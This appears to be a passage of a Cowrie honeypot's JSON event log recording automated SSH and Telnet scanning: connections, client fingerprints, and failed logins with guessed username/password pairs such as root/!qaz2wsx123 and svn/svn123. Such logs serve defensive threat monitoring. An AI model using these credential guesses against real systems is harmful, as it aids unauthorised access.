{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:03:22.878181Z","src_ip":"103.84.236.242","session":"e619bd674a44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:03:23.144368Z","src_ip":"103.84.236.242","session":"e619bd674a44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.214.226","src_port":49524,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9a32db1724c","protocol":"ssh","message":"New connection: 152.32.214.226:49524 (159.203.135.109:22) [session: a9a32db1724c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:03:23.550073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:03:23.555940Z","src_ip":"152.32.214.226","session":"a9a32db1724c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:03:23.769396Z","src_ip":"152.32.214.226","session":"a9a32db1724c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Mima@2024","message":"login attempt [root/Mima@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:03:24.126959Z","src_ip":"103.84.236.242","session":"e619bd674a44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omar","password":"123456","message":"login attempt [omar/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:03:24.668866Z","src_ip":"152.32.214.226","session":"a9a32db1724c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:03:25.369446Z","src_ip":"103.84.236.242","session":"e619bd674a44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.37724184989929,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:03:25.432377Z","src_ip":"172.81.62.90","session":"f96ff9e3ce53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:03:25.884956Z","src_ip":"152.32.214.226","session":"a9a32db1724c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.72480297088623,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:03:28.052781Z","src_ip":"107.6.151.170","session":"2be094a56a9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.217.22","src_port":48858,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce694e6614d5","protocol":"ssh","message":"New connection: 45.123.217.22:48858 (10.17.0.5:22) [session: ce694e6614d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:03:28.235619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:03:28.239552Z","src_ip":"45.123.217.22","session":"ce694e6614d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:03:28.476014Z","src_ip":"45.123.217.22","session":"ce694e6614d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz2wsx123","message":"login attempt [root/!qaz2wsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:03:29.453098Z","src_ip":"45.123.217.22","session":"ce694e6614d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:03:30.693259Z","src_ip":"45.123.217.22","session":"ce694e6614d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.55716514587402,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:03:42.610564Z","src_ip":"107.6.151.170","session":"a6a2952217eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.39469027519226,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:03:46.417459Z","src_ip":"128.199.8.54","session":"dedafce572b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.242","src_port":50380,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffec374d37b3","protocol":"ssh","message":"New connection: 181.188.176.242:50380 (10.17.0.5:22) [session: ffec374d37b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:04:16.449326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:04:16.454987Z","src_ip":"181.188.176.242","session":"ffec374d37b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:04:16.618966Z","src_ip":"181.188.176.242","session":"ffec374d37b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"svn","password":"svn123","message":"login attempt [svn/svn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:04:17.307787Z","src_ip":"181.188.176.242","session":"ffec374d37b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:04:18.475092Z","src_ip":"181.188.176.242","session":"ffec374d37b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":46368,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2b8957e4acb","protocol":"ssh","message":"New connection: 102.210.148.92:46368 (159.203.135.109:22) [session: a2b8957e4acb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:04:26.548275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:04:26.553810Z","src_ip":"102.210.148.92","session":"a2b8957e4acb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:04:26.785895Z","src_ip":"102.210.148.92","session":"a2b8957e4acb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":9584,"dst_ip":"10.17.0.5","dst_port":22,"session":"02d05ee41890","protocol":"ssh","message":"New connection: 177.85.247.230:9584 (10.17.0.5:22) [session: 02d05ee41890]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:04:27.723746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:04:27.731471Z","src_ip":"177.85.247.230","session":"02d05ee41890","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vicidial1","message":"login attempt [root/vicidial1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:04:27.746859Z","src_ip":"102.210.148.92","session":"a2b8957e4acb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:04:27.835983Z","src_ip":"177.85.247.230","session":"02d05ee41890","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.41.115","src_port":48632,"dst_ip":"10.17.0.5","dst_port":22,"session":"1cae22baf414","protocol":"ssh","message":"New connection: 36.92.41.115:48632 (10.17.0.5:22) [session: 1cae22baf414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:04:28.091036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:04:28.096098Z","src_ip":"36.92.41.115","session":"1cae22baf414","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lth","password":"123456","message":"login attempt [lth/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:04:28.287037Z","src_ip":"177.85.247.230","session":"02d05ee41890","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:04:28.349822Z","src_ip":"36.92.41.115","session":"1cae22baf414","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:04:28.982986Z","src_ip":"102.210.148.92","session":"a2b8957e4acb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe123","message":"login attempt [frappe/frappe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:04:29.390834Z","src_ip":"36.92.41.115","session":"1cae22baf414","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:04:29.397676Z","src_ip":"177.85.247.230","session":"02d05ee41890","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:04:30.650447Z","src_ip":"36.92.41.115","session":"1cae22baf414","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":55400,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3f0cb274309","protocol":"ssh","message":"New connection: 102.213.34.99:55400 (159.203.135.109:22) [session: b3f0cb274309]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:04:36.801988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:04:36.807870Z","src_ip":"102.213.34.99","session":"b3f0cb274309","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:04:36.978150Z","src_ip":"102.213.34.99","session":"b3f0cb274309","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"12345","message":"login attempt [devops/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:04:37.693028Z","src_ip":"102.213.34.99","session":"b3f0cb274309","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:04:38.869852Z","src_ip":"102.213.34.99","session":"b3f0cb274309","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":60084,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef5eb810ce1d","protocol":"ssh","message":"New connection: 163.7.9.84:60084 (10.17.0.5:22) [session: ef5eb810ce1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:04:56.878566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:04:56.883590Z","src_ip":"163.7.9.84","session":"ef5eb810ce1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-s